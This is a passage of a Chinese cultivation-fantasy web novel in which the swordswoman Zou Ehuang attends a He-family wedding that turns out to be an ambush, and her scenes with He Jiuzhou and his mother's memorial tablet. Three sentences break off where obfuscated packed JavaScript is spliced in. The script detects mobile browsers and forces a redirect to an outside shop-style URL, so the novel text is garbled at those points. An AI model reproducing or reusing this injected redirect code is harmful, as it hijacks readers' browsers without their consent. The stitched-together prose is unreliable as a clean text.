但这还不是最重要的,邹娥皇想。 她轻轻吹灭了案台上的烛光,侧卧在密州特色的硬炕上,眼睛微微眯起。 关于世家,留给旁人的第一个印象永远是无利不起早。 关于七大世家密州何家,她认识的,除了那么一个笑起来俊俏疏朗的死人何言知,当年剩下了当年杀了何言知的何春生。 而他一定、一定还在找能吸收何言知金丹的方法。 从步入密州的那一刻起,邹娥皇就察觉到了暗处旁人的窥视。 这么多年的无功而返,不会让一个野心勃勃利欲熏心的人放弃,只会让他愈来愈地失去了理智,直到有一天,把主意打到所有有可能的人身上。 她前些日子里刻意展露出来的星盘。 ——在有心人的眼中或可以被看成一个能打开金丹的密钥。 所以这份喜气洋洋的婚帖背后,或许就是修真界版本的项庄舞剑、意在沛公——好一场鸿门宴。 “这下可好——” 邹娥皇轻轻抚摸了一下挂在床边的本命剑。 它本该锐利无双,如今却被一层又一层的黑布缠住,只露出边边角角的暗纹,若不用心去看,和市面上二两纹银就能买到的杀猪刀轮廓没什么区别,或许真放上去按斤称卖的时候,还要夸一句打铁的人实诚,没缺工减料。 可它偏生是一把剑。 作为一把剑,就应当是锋芒毕露杀人不见血,而不该是籍籍无名钝若铁刀。 “你若能拔出来,我明日或许就不用兢兢业业,夹着尾巴做人了。” 邹娥皇又想,算啦。 剑肯定是一把好剑,是自己太废拔不出来,关剑什么事。 剑好,人坏。 灯光结彩的酒肆门口,站了一个高大削瘦的青年。 他面目平平无奇,只有眼下的一点泪痣显得别致。 若郑力站在这里,看见了这男人平平无奇的面目,则必要啧啧——又是一个练了占星术的。 然而如今站在柜台旁的只是一名普通的掌柜。 那掌柜抬起眼皮不咸不淡地扫了扫男子浑身上下的穿着,在触及满是泥点子的鞋后,心想这是哪里来的乡巴佬。于是那原本谄媚的脸上连一丁点笑意都垮了下去,只冷冷地说—— “打尖儿还是住宿?大通铺卧一晚三两纹银或一块下等灵石,不赊账。” 男子摇了摇头,好脾气道:“住宿。” 他从宽袖里一伸手,白光闪过,一块品质尚好的中等灵石就出现在手心。 “住七日,不用找了。” 汰! 这泥巴腿子,居然还是个修士?! 掌柜目光黏在那流光溢彩的灵石上了好半天,连男人说了什么都没听清,就先堆出了媚笑,招呼着人往顶楼上的单间去。 “客官怎么称呼?” 早些年世道还有些不太平,打尖住宿都不需要登记,但自二十年前十四盟建立后,一切便井然有序多了,哪怕是自诩高人一等的修士,也要进行身份登记。 男人低声回道:“十四盟散修,容无常。” 他目光一转,问:“对面的单间也住了人么?” 掌柜回道:“下午刚来了个背着布剑的女修,租了一夜。” 容无常听后露出了今日的第一个微笑。 他轻轻地说:“那就好。” 掌柜没听懂这古怪的客人在说什么那就好,不过修士就是再奇怪点也正常。 之前何城不还有个出了名的邪修一直没抓到么,听说是个画师,只是正道的画师都是拿灵墨入画,唯独他,却是要拿人血为料,人皮铺纸,人魂作笔;正常人瞧一眼就要疯了,那邪画师还画的津津有味。 掌柜这么一想,忽然又觉得脖子冷飕飕地,于是缩了缩脖子就走了。 屋子里,邹娥皇躺在床上翻来覆去地睡不着,对于明日的鸿门宴还有些忧心忡忡。 正坐立难安之际,隐隐约约听见走廊里传来了几声脚步。 “十四盟...散修...容无常....” 断断续续的谈话声传透隔音不太好的木墙,打断了邹娥皇的出神。 对面住人了。 还是个十四盟的散修,她迟缓的想。 叫容无常?嗯...这个名字,怎么有点像她那个死了二十年的大师兄——容有衡? 错觉吧。 次日清晨,邹娥皇先蘸水用半干的毛巾把包着厚布的剑擦了一遍,再甩了甩上面的水珠,才系到身后。 剑是剑修的命。 这样的步骤她每日早晚都会做一遍。 邹娥皇走出门不久后,对面的木门也吱呀地一声响。 靠着门框的青年泪痣微亮,明明还是昨日那平平无奇的五官,换了一身一看就价值不菲的窄袖云纹锦衣后,倒有些说不上的风流倜傥。 他手上捏了一张,眼熟的婚帖。 …… 昨日还是青泥瓦砖铺成的石路,今日那些浇着泥点子的水已经消失不见,只剩下红色的碎纸与铜钱铺满了何城的主路。 在这座儒修的城池里,只有显赫如何家,才能一夜之间将天地换了颜色,将水墨画般的矮房屋装点成了喜气洋洋的火红色。 路旁站了几个何城本地人在闲聊。 “你们都看了早上那出迎亲了么?要咱说真是大手笔,八匹上等灵马压的轿子,光聘礼都堵了有七八条街,何二爷还生怕新娘排面不够,听说一会婚宴上,何家的老祖春生道人也要来。” “明珠小姐能嫁给富贵爷,命真好!” “是啊,但她妹妹就不如她咯,听说昨日跑了。” “明阿公听说要气疯了,本来要寻他家婆娘的不是,嚷嚷着说要休妻,觉得都是婆娘没教好才闹出这样的丑事,最后还是大姑娘劝住了,跟他说何家一定不希望这事闹大...” 几人说的正热闹,忽然就听到了一声笑。 这笑听着不冷,也不像是嘲讽。 但总觉得怪怪的。 众人顺着视线往过去,却看见是个面容平常的女修。 “笑什么?”他们禁不住问。 邹娥皇抬头看了眼这几个人,有青衫儒生,也有开衫的庄稼汉,有佝腰的老婆婆,也有抱着孩子的新妇。 但无一例外的,都是何城本地人。 邹娥皇回道,“羡慕你们这圣人化就的何城,和外面那打打杀杀的修真界就是不一样。” “活在外面的姑娘们要兢兢业业地修炼,偶然突破或是秘境里淘的机缘...千辛万苦才能得旁人称一句好命,而你们何城么,直接来了句求仙不如嫁女。” 求仙不如嫁女—— 在强者为尊的修真界,竟也会有这么个犄角旮旯的地方出现这种反古的论调。 她鲜少出声讽刺旁人什么,只是凡事都有例外。 何言知若是知道他拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13267295|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命换来的何城,最后成了这副模样,连夜棺材板恐怕都要撬开。 邹娥皇摇头,没理会那几人青青白白的脸色,转身便走。 走了没多远,就在何家大门处看见了个熟人。 穿着一身银白色剑袍的少年剑修,大大咧咧地盘腿挡在何家门口,一副不让他进去就不离开的样子,何家十几个筑基期的护院,团团围着他却始终不敢动手。 少年怀中抱了个黑漆漆的牌木,腰间胯了把晶莹剔透的名剑。 名剑的名字,叫西吹雪。 “何九州?”邹娥皇试探道。 “你挡在这里做什么?论道大会已经结束了吗?” 被叫到名字的少年浑身一激灵,收了和围堵他的几个护院的对骂的声。 回头一看发现是邹娥皇后,他露出了些许困惑的神色,但又很快就舒了口气。 不管是谁,只要现在出现的不是师父天机子就好。 “论道三日前就结束了。”他避重就轻,捡着后一个回答道。 “你是何家人?”邹娥皇想到他的姓,忽然恍然为何能在这里看见他。 何九州慢吞吞地从地上起身,拍了拍身上的土灰后道,“算半个吧。” 他又指了指面前的几个护院道,“之所以说只算半个,是因为今天我同母异父的二哥婚宴,他们却不让我进去。” 护院中修为最高的是一个筑基后期的老者,拄着拐杖向地下重重一跺,下一瞬土地塌陷处密密麻麻的蛛丝网状脉络。 “三少爷,这是老祖的命令,今日就算是家主来了您也是不能进去的,何必和我们这些卖命的粗人一般见识?” 邹娥皇在一旁听着,忍不住插嘴道:“他确实没和你们一般见识。” “他若是把西吹雪拔出来,你们十几个人没有能在他手下走一招的。” 说这话的时候,邹娥皇语气中不觉有一丝丝的羡慕。 唉,剑修就是好啊,越级也能大杀特杀。 但旁人听不出她的羡慕,只以为她在嘲讽。霎时间,拄拐老者的脸都气歪了,颤着身子说了三个好。 “既然这么说了,老朽这把老骨头不讨教一下少爷的剑怎么成!” 何九州心中一凛,头皮发麻。 下一瞬,天罗地网,透白的丝线从老者的杖头迸发,朝着他席卷而来。 空—— 银白色的剑飞出剑鞘,化成几十道乃至几千道残影。 天地一白。 西吹雪这把剑,之所以是名剑,除了它曾是天机子的本命剑外,源于一场大雪。 此剑一出,六月飞雪。 几百年前,剑皇闭关时,天机子曾拿它镇压过死海动乱,那外表病弱的剑仙微微咳嗽,身上系了一层厚实的狐裘。 立在那里,仅仅是一人一剑,血水涛涛霎时间就变成了晶莹的白地。 仅仅一剑,从此就再无人小觑这病秧秧的天机子。 而如今它传到了何九州的手里。 原本唯美的剑招只剩下了泠然不减的杀机,厚雪之下,埋着细碎的红布条与点点暗光。 众人大骇,急急退出埋伏圈,驻杖的老者更是运气罡气,后退三步,柱着的杖子在雪地上划出一道狰狞的痕迹,却还是一边吐血一边喘着粗气。 鬓边还有些发黑的发丝一下子变得苍白。 明显是被伤到了根基。 这个时候只听邹娥皇轻叹一声:“我说了,你们都拦不住他。你又是何苦?” 老者头发花白,混浊的眼珠动了动,终于凝到这个刚刚起就一直在煽风点火的人身上。 “你...” 他盯着邹娥皇,却在看见对方身后背了把显眼的厚布剑后哑然松口。 老祖设宴今日要埋伏的人,终于到了。 14. 第 14 章 何九州跟在邹娥皇身后,一声不吭的走进了何家大院。 邹娥皇正为他这难得的安静侧目,却在触及青年人怀中抱着的牌位后顿住。 牌位由沉木制成,通体黢黑,看着阴森森地,在昆仑统一的雪白弟子服的映衬下,格外的显眼。 在亲哥的婚宴上,抱着象征死者的不详牌位... 不愧是昆仑出了名的小疯子,何九州。 何九州似乎是察觉到了什么,抬头咧了咧嘴,跟她解释说:“这是我娘的牌位,何富贵大婚,她应该来看看的。” 邹娥皇点了点头,牌位上写了一行竖着的楷书。 “昆仑亲传弟子何雪梅,你娘是昆仑弟子么?” 她轻声问。 何雪梅这个名字在修真界并不陌生,虽然现在提及的人很少,但早二十年前,那可是名震八荒的美人儿。 但何雪梅出名,并不只是因为美。 这眉目如画白衣翩翩瞧着是水一样的姑娘,曾经仅仅靠一张嘴就气死了哭禅宗大宗师。 只是,谁也没说过,这样的美人儿竟是昆仑的亲传弟子。 “她生前不是,但是死后就是了。” 何九州说:“人来世间一场,人走草革一卷,总是要留个归属给活着的人。” 他顿了顿,这个素来桀骜的剑修,在此刻却有些出神地软弱。 原来那二十年销声匿迹,居然是因为人没了。 邹娥皇有些可惜。 “她生前身上一直绑着何家两个字,如今她死了,我想给她撕下。昆仑很好,配得上她。” 何九州说完后又瞄了一眼邹娥皇,勉勉强强补了一句:“蓬莱也不错。” 宴客的庭院采取了对称结构,铺了约有百十桌的酒席,酒席上放着造型奇异的碟盘,盈盈发着暗光。半空中飞了四幅书法大师的留字,鎏金的字体飘荡在空中,雅而贵气。 外面是喧闹的往来客送,衬得大院深处格外的寂静。 明珠安安静静地坐在内屋里。 红盖头盖在她头上,娴静的姑娘双手交叉落于膝前。 这是她大婚的日子。 “明珠?” 在外面敬了一巡酒的何富贵啪地推门而入,他傻乎乎地笑着,俏白的小脸上只有一圈酒色的红晕显眼。 三步并两步,身上绑着大红花的新郎官很快站在新娘面前,醉醺醺的手就要摸上他的红盖头。 “二爷,还未到吉时,盖头摘了不吉利。” 下一秒,新娘用柔软却有力的柔荑摁住他的手腕。 何富贵呵呵一笑,他现在应当是已经醉了。 “明珠、明珠,我的明珠——” 他捋着大舌头碎碎念念道:“你总是这样的自重,叫我不得不爱重,我第一次见你我就知道,我要讨你做媳妇...” “明珠、明珠——我今日真的好高兴——” 明珠隔着红盖头,仍能感觉到男子温热的呼吸骚动在耳畔,一下又一下的。 她垂下眸,忽然轻轻问:“二爷,你为何要娶我?” “是因为一见钟情,还是觉得我像什么人?” 男子似乎愣了,本就不清醒的脑瓜更加浆糊,“娶你,娶你...因为你穿白衣服好看,就像是仙子!仙子——舅舅说,我娘亲年轻的时候也爱穿白衣服...” “不不不,她才不配我叫她娘——今天有些不长眼神的家伙在我面前提起了她,我把他们都打了一顿,都打了一顿...” 何富贵虽有个富贵名字,在何家也颇受重视,但身份却很尴尬。 这源于他的母亲,何雪梅。 在何雪梅之前,何城能识字的姑娘少,但不至于没有。在何雪梅之后,何城的姑娘不再被允许读书,也不在被允许抛头露面,言辞激进者,均视为异端。 起因是二十年前的一桩丑闻。 二十年前,何雪梅初为人妇,嫁给了和何家匹敌的冀州陈氏,但在生下何富贵后,就同一落魄书生私奔,后有诞下一子,便为何九州。 丢尽了陈何两家的脸面。 后来何城人都说,不该让女子识字的。识了字后她们的心就野了,翅膀就硬了,人就坏了;最后由何雪梅的哥哥——何家的现任家主何渡,定下来了这条规矩。 何城女子,不得识字。 而文字,是人的精神源泉,这场从头开始的压迫,终于演变成了如今的何城,姑娘们笑不露齿,出门头戴椎帽,把修仙凌云志变成了嫁个好人家。 何富贵也因此从陈富贵改姓为何富贵,作为还在襁褓之中的婴儿,被人遣送回何家。 他的父亲,冀州赫赫有名的陈家家主,原话是这么说的:“此母为孽障,其种也必下贱!不干不净不清不白之嗣,安敢冠吾陈氏姓!” 何富贵从小就知道,他在何家是不受待见的那个。 他的舅舅虽然养大了他,还力排众议,留下了他。但他的存在,就是陈家向何家的示威,就是何家白墙上的污点。 “明珠、明珠——娘子呀,”他醉了,捂着脸又哭又笑道:“我真的好高兴呀!” 他的弟弟何九州,虽然是故事里那个真正见不得人的私生子,却一生来就有家,还有个大乘剑修做师父。 而他——小二十年来,终于要有自己的家了。 “娘子,今日老祖也会出席我们的婚宴,你高兴么,从此日媒月聘,我会把这世上最好的东西,所有我能拿出手的东西,都给你...” “只有一件事,”醉醺醺的气息猛然靠近,男子的手掌隔着红布用力摩擦着明珠的下巴。 “你不能负我。”他痴笑道。 明珠心里猛地一跳。 …… 邹娥皇坐在何九州旁,两人一齐被安排到了宴会的边角。 她磕着瓜子道:“听了你这个故事,你是说,你娘最喜欢的儿子是你哥何富贵,不是你。为什么?” 何九州说:“富贵是她亲自取的名字,十八年前她战死在魔窟前,在昆仑山脚下刚刚安了家,就要去何家抱回我哥,只是...最后她没能回来罢了。” 一个母亲究竟要对孩子溺爱成了何种地步,第一时间期许的才不是修仙大道,只是人间富贵。 邹娥皇说:“小孩子就爱瞎想,在你哥眼里,还可能是你娘为了生下你,抛弃了他。” 何九州没吭声,他只是抱着怀中的牌位,又灌下了三杯灵酒;他师父说过,难受了,一杯解千愁。 但他不知道为什么要难受...明明,他有记忆起,就没有娘了。 为什么要为不存在的母爱难受。 “密州刘氏前来贺礼,祝何家二公子与明家大小姐百年好合,携三百玉兰蔻、金银玉三箱...” “青州秦氏前来贺礼,恭何家二公子与明家大小姐喜结良缘,献三千仙桃酿、四盒悟道丹…” “北海平家...” 午后三时,何家老祖何春生姗姗来迟。 他尚未落座,合体大能的威压就先行一步,逼的众人不得不起身向他行礼;金丹之下的修士则是直接被这样恐怖的压威弯折了腿,直直跪下去。 “恭迎老祖!” 人声如潮。 少数几个心思细腻的宾客想,何春生这个向来神龙见首不见尾的伪君子,怎么今日会从闭关之地出来;莫诓他们说是为了参加曾孙子的婚宴,在座的都是千年的老狐狸,谁能骗过谁。 而且一进何家,道行高一点的人,就隐隐约约感觉到了极其阴寒的阵法,像是为了什么人设立的。 一会这红的喜气洋洋的婚宴,到最后或许变成了另一种血流成河的深红。 在纷纷起身行礼的众人里,一处安静地很显眼。 那是面对合体大能的威压,仍坐着的何九州,和他那个身后面色平静的邹娥皇。 何九州有些吃力地咽下了喉咙中翻涌的血,他向来桀骜,跪天跪地不跪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281399|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,唯一一次是正式拜师的那一年,拜过天机子。如今却要他来拜一个何家的狗屁老祖,不如直接杀了他; 或许是察觉到他不服,空气里的威压愈来愈厚重,连西吹雪这把名剑都发出按耐不住的摩擦声。 就在何九州终于撑不住,要吐出一口沉血时—— 身侧有一只手,轻轻按住了他的肩膀。 一瞬间,方才铺天盖地的压力都消匿于天地间。 何九州侧头去看,只见邹娥皇若无其事地收回了手。 她面色平平无奇好像刚刚只是做了一件拨弄柳枝条的小事,而不是化解了合体大能的威压; 何九州眼睫轻颤,瞳孔地震。 能轻而易举地化解合道的威压,莫非...邹、邹前辈也是个合道修士!? 宴席上首,何家主何渡在老祖右侧站着,他怀中一只手抱着七八岁的何谦学,在察觉气氛流动的一瞬,他就将目光放在了角落里的两人身上。 和何富贵相比,何九州确实更像他妹妹的孩子。 像一把过刚易折的剑。 “老祖,那个孩子就是之前和您说过的九州,如今是昆仑天机子门下的嫡传弟子。” 他低声在何春生身侧道。 言外之意就是何九州背后站着的是昆仑,和他对上没什么好处。 何春生没说话,只是摆了摆手。 威压终于散了,热闹的婚席再度流动。 众人只见得那支着下巴的春生老祖,忽然脚不沾地地漂浮于半空中,下一瞬缩地成寸立于啃鸡腿的背剑女修前。 屈尊降贵般开口:“邹道友,可否备礼?” 啃着鸡腿的邹娥皇淡定地拿清洁术清了清手,她好像早就预料到这一刻的到来。 也根本不意外为何这何家的道祖知道她的名字。 他们两个人之间的事,只有彼此心知肚明。 不是你死,就是我活。 “备了,我和何九州一起来的,”邹娥皇微微笑说:“他送的礼,就是我要送的。” 何春生微微点点头,阴翳的眼神落到一旁翘着二郎腿的剑修身上。 “是什么?” 何九州没有回答这古怪的老祖,但也根本不需要他回答,好事的人早已从那堆成小山的礼物堆里翻出了何九州送来的那一份。 是牌位。 黑漆漆的牌位。 上面刻着死人的名字。 他把一进门就抱在怀里的牌位,趁着旁人不注意,放在了那些礼物的最上面。 众人纷纷呼吸一窒,场面绷紧成一根快要断开的弦;在旁人婚礼上送这种东西,和指着人头骂娘有什么区别。 顶头上,何富贵原本红彤彤的脸,也在看到牌位那“何雪梅”三个字时,一下子变得冷白。 像是被人从头开始浇了一身凉水。 他想过很多次见到那个在他一出生就抛下他的女人时,该是何等场景。 如果那个女人没有爱上那个落魄书生,或许他现在该叫陈富贵,是冀州陈氏下一代的家主,而不是密州何氏不尴不尬的二少爷。 他恨她无疑,但或许心里也有一丝一毫对于母爱隐秘的期盼。 所以如果再见,或许是感人肺腑的相认,也或许是相见不相识的擦肩;他会揽着明珠的腰身,告诉那个不负责任的母亲,他过得很好很好—— 但他唯独没有想过,那个让密州何氏与冀州陈氏都恨得牙痒痒又无可奈何的女子,竟然早早就死了。 他唯独没想过。 只剩下了一个牌位。 好像他这二十年来的愤怒,都只是个笑话。 何九州抬起头来,那双漂亮又凌冽的凤眼,扫过四周,他好像看着在场所有人,又好像谁都没看。 邹娥皇听见这少年用一种远超年龄的冷静,道: “何富贵。” “何雪梅十八年前就是死的,她不是不想接你,她是接不了你。” 15. 第 15 章 何九州说完后就径直坐下,又灌了自己三碗仙人醉。 人人相顾无言,皆在状况之外。只有准点报喜的唢呐一声比一声高昂,远处刮来了一阵西风,吹得满天都是沸沸扬扬的纸屑,飘红旋转在半空中。 在这样一片刺眼的红色里,身材高大的新郎穿着那一身喜服,僵着面立在那里。 在这样的好日子里,在这样好阳光下晒着,何富贵却突然发现自己还是那个襁褓里的可怜虫。 他看向何九州,对方挑眉回望。 隔着几十桌神情各异的酒席,隔着十几年的相闻不相认,何富贵僵硬地想,自己同母异父的弟弟,眼睑下的那点泪痣,连着那双凤眼竟都和他别无二致。 只是放在对方身上,成了意气风发的锐气,在自己身上,却无端变成了趾高气昂的傲慢。 他们的那双凤眼,均源于一个十八年就前就死了的母亲。 而他又大约、总是比何九州多了几分说不清道不明的恨。 在年轻的昆仑剑修身侧,邹娥皇撑着下巴抬头看着这场闹剧。 须臾,她察觉到了另一股令人发麻的打量,侧身回视,正对上何春生意味深长的目光——这个老狐狸八成是以为那牌位是她对何家的一种下马威。 邹娥皇:…… 她说她不是有意的,信么? 她刚刚真不知道何九州送了什么,只是觉得没随礼显得自己太抠。 邹娥皇面色镇定,微微移开了视线。 仔细一看,上北下南,左西右东。 何家今日的布局倒真有几分的意思。 邹娥皇微微闭上眼在脑子里过了一遍。 上为贺喜台,属木,下为冰玉门,属水;左为客,右为客,属性天,此为对称冲龙之势。 在阵法界,有种布局叫四正方圆。这种阵法,大部分情况下,都是温和无害的,常用于维护风水,增加家族气运而存在。但是也有极个别情况下,四正方圆也可以变成杀人不见血的杀阵。 就比如,现在—— 木水相生相长,而双龙对冲。 水助龙势,而龙被木狡,又意外地造成了斗兽的困局。 本该翱翔于天地的真龙却被阴寒的木气困住,自然是会怒不可遏,翻云搅浪,把这片天地弄个天翻地覆。 届时,被困者经脉逆冲是小,严重者暴毙当场是大。 而这阵,借的是两边宾客成龙势,也就是说,阵法的强大,不在于施阵人,而在于被困在局中的人本身。 邹娥皇想,这还真是看得起她。 但她大约知道何春生一定要除掉她的理由,星盘。 准确来说—— 是她特意引导对方发现的星盘。 在能够以身成神的修真界,若说修士和凡人相比,唯一还有什么缺点的话,那就只能是—— 凡人死了能入轮回,而修士,若是不能飞升上界,就只剩下了一个魂飞魄散。 邹娥皇辗转数载,只在一册生僻的上古书籍上见过,能让修士复活且可行的条件。 简单来说,修士的魂飞魄散其实不是真的就消匿于无形,而是把自己慢慢地溶于了天地。 所以复活的流程,其实很简单。 以死亡之人的丹田为引,手骨为根,足以匹敌该修士生前实力的灵气涵养,再配上一根万年一株的上品九转皇灵肉芝,便可以活死人,肉白骨。 流程简单,难的是那些材料。 三千年前觉得何言知不该死的邹娥皇,三千年后她终于再度回到了这里。 何春生想要的是或许可以打开金丹的星盘,而邹娥皇想要的一开始就是,何春生手里——能让何言知复活的金丹。 邹娥皇静静地揉了揉头。 现在可真是叫人家下了一手的好棋啊。 其一,她并不精通阵法,只在五千年里对此阵略有耳闻罢了,以前撞上过,也都只靠占星术推演阵主生平命门,再一一化解杀招...可占星术毕竟是逆天修行的奇门相术,颇受限制,她几日前在擂台上和郑力论道后,近期是用不了了。 一会若是要破阵、找阵眼,少不得还有一阵周旋。 其二,就是找到了阵眼,在何春生等人的眼里,拔不出来剑的她或许有什么别的保命手段,但战力无疑是低下的。 唯一一个神鬼莫测的手段就是那个看着不正常的星盘,而当她若真是为了破阵,在短时间内驱动两次,经脉逆流之下冲破阵法之际,就是自投罗网之时。 毕竟,何春生兜兜绕绕一大圈的目的,不过也就是为了那个星盘。 “嗬。” 一声讥笑打断了她的思路。 何春生冷冷地看了邹娥皇半响,嗤笑一声。 “原来这牌位就是道友送给何家的好礼。那么,本座也该有一份还礼。” 他说。 黄袍鼓动,露出了何春生那张橘皮鹤脸,他双指并拢,沉沉地从半空起往上一划,蓦然风动,晴空万里闪过滚滚异像,天地一瞬间风云变幻,宾客席里传来骚动。 无云无雨的惊雷,从天际一骤降落。 照亮台上的新郎在暗雷中乍现发白的唇。 天雷带着毁天灭地的力量,噼啦啪啦地闪向那小小的牌位。 合道之力,改天换日不过瞬息,竟如斯恐怖—— 酒席上,冀州陈氏的长老、北海李氏的族长彼此间相互一对视,心中一跳。 他们都是和何家结过仇的世家,这次之所以来,是因为听说何春生会出席,想暗中试探一下对方的血骨鞭练到什么地步了,也好为了后日和何家的关系早作准备;但没想到,对方的血骨鞭还没出手,仅仅一指,就有了天地法则的力量。 世家后面一桌上坐着的是何家的卿客,里面混了个穿窄袖云纹锦衣的容无常,他眼神平静,手中的酒水一抖,恰巧遮住了脚下一块突兀的湿地。 不远处的邹娥皇若有所感,抬头向这里望来了一眼。 而出乎所有人预料的是,这带有毁天灭地的一指并没有粉碎那脆弱的牌位。 拦下这一指的,自然不会是拿剑动不了半步,就已呲目欲裂的何九州,也不是浑浑噩噩伸手欲拦的何富贵——毕竟,他们都是筑基修士。 筑基在化神面前都尚且弱如蚊蚁,更何况是合道。 拦下这一击的人,是何渡。 何雪梅的哥哥,那个曾因为妹妹动摇了他家主之位,就狠心把妹妹远嫁冀州的哥哥;也是那个最后家主之位尚未稳固,也要力排众议把何富贵带回来的舅舅;是那个在众人看见牌位时面色震惊,独他神色平平的何家——家主,何渡。 何必当初的何,苦海难渡的渡。 他一个化神修士,用半身被劈的血迹淋淋为代价,挡在一个冷冰冰的沉木牌位前,接下了老祖这一指。 “何渡?”何春生表情松动,鹤皮老脸上出现一瞬的困惑。 他了解这个算是被他看着长大的孩子,正是因为了解,才会困惑——毕竟,他们该是一样的何家人才对;为了大道不择手段也好,阴险狡诈也罢,总之何家人做事都要一个切实的理由。 譬如何渡当年跟何春生说留下何富贵,是因为看中了其修炼的根骨;再譬如这么多年一直坚持宣称何九州仍是何家子孙,是为了和昆仑的表面关系... 那么现在,又是为了什么? “老祖...” 何渡微阖双眼,将他抱在胳膊上的小儿子何谦学勒的发疼。 有好半会儿,何春生才终于听见了何渡的传音。 “陈权一直在向家族中施压,要梅儿...何雪梅的下落,这个牌位,可以用于交差。” 众人皆听不见何渡的传音,他们只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313905|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见刚刚还阴晴不定的何家老祖一甩袖袍,消失于原地。 此起彼伏的唢呐声再度响起。 方才顶着合道压力的诸位宾客这才终于舒出了一口长气。 趁无人在意之际,邹娥皇起身离席。 对方关于她确实是不善阵法这一点猜测,并无半分错误。但纵使百密仍有一疏,方才何春生企图拿一指震慑旁人的时候真气微泄,邹娥皇注意到了一桌宾客的脚下,似乎涌动着勃勃的暗泉。 阵眼通常是由一特定的物品所化,被安置在隐蔽的地方,系着整个阵法的运行。 和掌阵的主人一举一动,息息相关。 而埋伏于地下的暗泉,紧紧连接着何城的护城河,和何城乃至密州的气运都有关联,若是作为阵眼,则不仅难破,恐还要承受这片天地的因果孽力。 何九州慢了一步,追在她身后。 “你要做什么?” 下一秒,他就错愕地看见了和自家师父一代人的邹娥皇,半蹲在地上研究着这年头小孩都不愿意看的,榕树下十几支黑蚁的行进路线。 “你师父有没有和你提过,什么样的地方才会有蚂蚁?” 这个笑眯眯的女修终于发现了他。 何九州愣神想了会,才想起他师父天机子曾偶然和他提过。 “有水的地方吧,你问这个做什么。” “没什么。” 邹娥皇:“借臂一用。” 何九州没听懂。 “啊?”他愣在原地。 耳边却忽然传来温热的呼吸,不过是瞬间,何九州的左臂不再受人使唤,软绵绵的手腕被邹娥皇搭着两个指头拈起,直指苍穹。 那从到了他手中起,就一直不怎么听从差遣的西吹雪,这把看似叛逆的剑,在这一顷刻却格外的乖顺。 像是察觉到什么一样。 西吹雪嗡嗡而动,跃鞘而出,应声而动。 叮地一下,粘在了他的手掌上。 ——何九州心跳的极快,这是他第一次意识到。 一个剑修,原来是这么握剑的。 而一柄剑,居然能这么的如臂指使。 邹娥皇...她当真只是个拔不出剑的废人么? 世人都知道,蓬莱山上的邹二师叔有拔不出来的本命剑。 但他们忘了,她有把拔不出来的本命剑的前提是,她是个剑修。 他们都忘了—— 她毕竟,还是个活了五千年的剑修! 蓦然间,何九州忽然觉得呼吸急促,他看见风云裂变,草走沙飞,也看见日月交替,星辰不在。 分明这一剑还没有挥下,而天地却已经开始臣服。 力量积攒于剑身,西吹雪暗白色的剑身攒出惊人的亮光,取代了日月星辰,成为这片天地唯一的光源。 昆仑的剑修,从不缺看剑的机会;昆仑,也从不缺剑皇剑尊剑仙。 但何九州在此刻仍有些心惊胆战—— 正是因他看多了好剑,此刻才忽然察觉到那日蓬莱道祖论道大典上一言的含金量,这个一直拔不出本命剑的姑娘身上藏着的是,或可有与剑皇匹敌的能力。 在剑修身上,一直有养剑和磨剑的两种说法。 何九州想起那日论道大殿上,邹娥皇心无旁骛游动两指模拟剑招。 如果一个人,在养了五千年的剑同时,又磨了五千年的剑意—— 那么此刻这一剑,究竟该如何的威势浩大,才配得上这一路的籍籍无名! 他屏吸,却只听见了女子一声谦然的笑意。 邹娥皇:“我不会用剑,但这样的时候,剑最合适。所以只能借小友臂膀一力了。” 何九州心想:是不是我心太脏,怎么感觉她在骂我——这样的人都不会用剑,那他和其他人耍的又是什么? 棍子么? 16. 天上剑仙三百万 邹娥皇眯着眼,用神识看清埋在厚土之下的暗河纹路。 两指无意识地摩擦何九州的皓腕。 她在寻找一个最合适最薄弱的土层,长年累月的磨剑让她不知道自己的力道该如何控制,只能尽力以灵力充斥在何九州一个筑基修士所能接受的限度。 寻常筑基修士的力道若是想要破开阵眼,无异于登天;可若是一剑斩不开,被惊动的何春生不会给他们第二剑的机会。 所以,一定要找到那个唯一的临界点。 是这里么?凸起显眼的土堆。 不、何春生谨小慎微,绝不会留下这么明显的阵眼,邹娥皇闭上眼,心平气和地听着土地下传来的涓涓的水声。 如果肉眼看不清,那不妨用心去听。 再平静的河水,也一定有湍急的拐点。 也许是许久,也许只是一瞬,邹娥皇古静无波的眼眸再度张开,这次终于出现了一闪而过的神光。 找到了,她想。 剑随心动,空气中传来一阵颤颤巍巍的荡气。 ——这一剑终于落下了…… 